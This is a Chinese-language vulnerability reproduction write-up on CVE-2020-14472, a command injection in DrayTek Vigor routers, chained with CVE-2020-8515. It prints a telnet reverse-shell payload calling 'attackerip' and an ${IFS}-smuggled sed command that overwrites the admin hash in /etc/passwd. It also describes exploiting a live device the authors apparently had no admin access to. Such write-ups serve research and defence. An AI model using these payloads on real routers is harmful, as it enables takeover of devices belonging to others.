Vigor2960漏洞复现(CVE-2020-14472)
作者:lxonz@白帽汇安全研究院 kejaly@白帽汇安全研究院
影响产品:DrayTek Vigor 2960 / 3900 / 300B
固件:<1.5.1.1版本
漏洞原理:该漏洞有两个条件,首先要开启SMS登录,其次要知道用户的电话号码,发送post请求即可实现命令注入。
POC参考文章:https://github.com/Cossack9989/Vulns/blob/master/IoT/CVE-2020-14472.md
1.环境搭建
因为本地调试出现了种种问题,因此使用真机vigor2960进行漏洞复现
在FOFA中大概定位了全球设备数
vigor登录界面,在同事的指点下找到了CVE-2020-8515,具体的漏洞分析可以参考这篇文章https://www.hayasec.me/2020/03/31/cve-2020-8515/,8515是通过keypath进行字符串拼接从而造成的命令执行,通过这个漏洞我们可以先弹个shell回来,在弹shell之前,我们先将固件解包,看看他的文件系统是怎么样的。
常见的固件解包方案都是使用binwalk,但此次的固件是.all后缀,不太清楚binwalk要怎么解,因此采用了ubi_reader进行解包:
ubi_reader的github链接在这里https://github.com/jrspruitt/ubi_reader
解包命令:
ubireader_extract_images Vigor2960_v1.5.0.all
解包之后发现其存在wget和telnet,所以弹shell可以采用telnet去弹shell,也可以使用msf生成的arm可执行文件去弹shell。
telnet弹shell的payload:
mknod backpipe p && telnet attackerip 8080 0<backpipe | /bin/bash 1>backpipe
参考这篇文章:
https://zerokeeper.com/experience/a-variety-of-environmental-rebound-shell-method.html
2.漏洞分析
下面我们分析固件,根据poc文章提示,漏洞点在/www/cgi-bin/mainfunction.cgi,直接将他扔进IDA进行分析,通过字符串搜索定位到关键函数sub_2B238
先获取了几个值
发现此函数会生成一个sms_phone_auth,并执行命令sh /usr/sbin/portal_opt_send.sh拼接V34放到sub_21558执行命令,sub_21558即是popen。
在实际操作中未发现目标有生成/var/sms_phone_auth,说明目标没启动SMS服务,由于未获得web管理界面的权限,所以我们转换思路,先进入后台管理界面启动SMS再进行CVE利用,搜索字符串passwd寻找后台的密码文件定位到函数sub_2116C。
一开始以为他是将/etc/passwd复制到了另外一个地方,后来看到了sub_2A7E4,经过分析发现他是
通过getpwnam getgrent crypt三个函数配合验证账户和密码是否正确,而他默认索引密码的是从/etc/passwd中获取的。
接下来我们只需拿openssl生成一个加密后的密码,覆盖即可
openssl passwd -1 -salt 'user' admin
sed${IFS}-i${IFS}'s/^admin.*/admin:\$1$user\$91Iq45sh\.88nvE2gROHVn0:500:500:admin:\/tmp:\/usr\/bin\/clish/g'${IFS}/etc/passwd
进入管理界面
接下来我们按照Vigor官方的说明文档,将SMS开启,参考文档https://www.draytek.com.tw/support/knowledge-base/5564。
启动之后,按照系统引导,输入手机号码,成功在12345678和123123123即是我们的电话号码,启动了SMS也有了电话号码,下一步可以使用POC了。
注意这里引号要闭合,否则无法命令执行。
执行完之后由于没有回显,因此我们直接在路由器的告警信息里进行验证。
可以看到uid=0(root) gid=0(root)利用成功。
参考链接:
[1]https://github.com/Cossack9989/Vulns/blob/master/IoT/CVE-2020-14472.md
[2]https://zerokeeper.com/experience/a-variety-of-environmental-rebound-shell-method.html
[3]https://www.hayasec.me/2020/03/31/cve-2020-8515/
[4]https://www.draytek.com.tw/support/knowledge-ba se/5564
[5]https://github.com/jrspruitt/ubi_reader
白帽汇从事信息安全,专注于安全大数据、企业威胁情报。
公司产品:FOFA-网络空间安全搜索引擎、FOEYE-网络空间检索系统、NOSEC-安全讯息平台。
为您提供:网络空间测绘、企业资产收集、企业威胁情报、应急响应服务。
本文为白帽汇原创文章,如需转载请注明来源:https://nosec.org/home/detail/4631.html
最新评论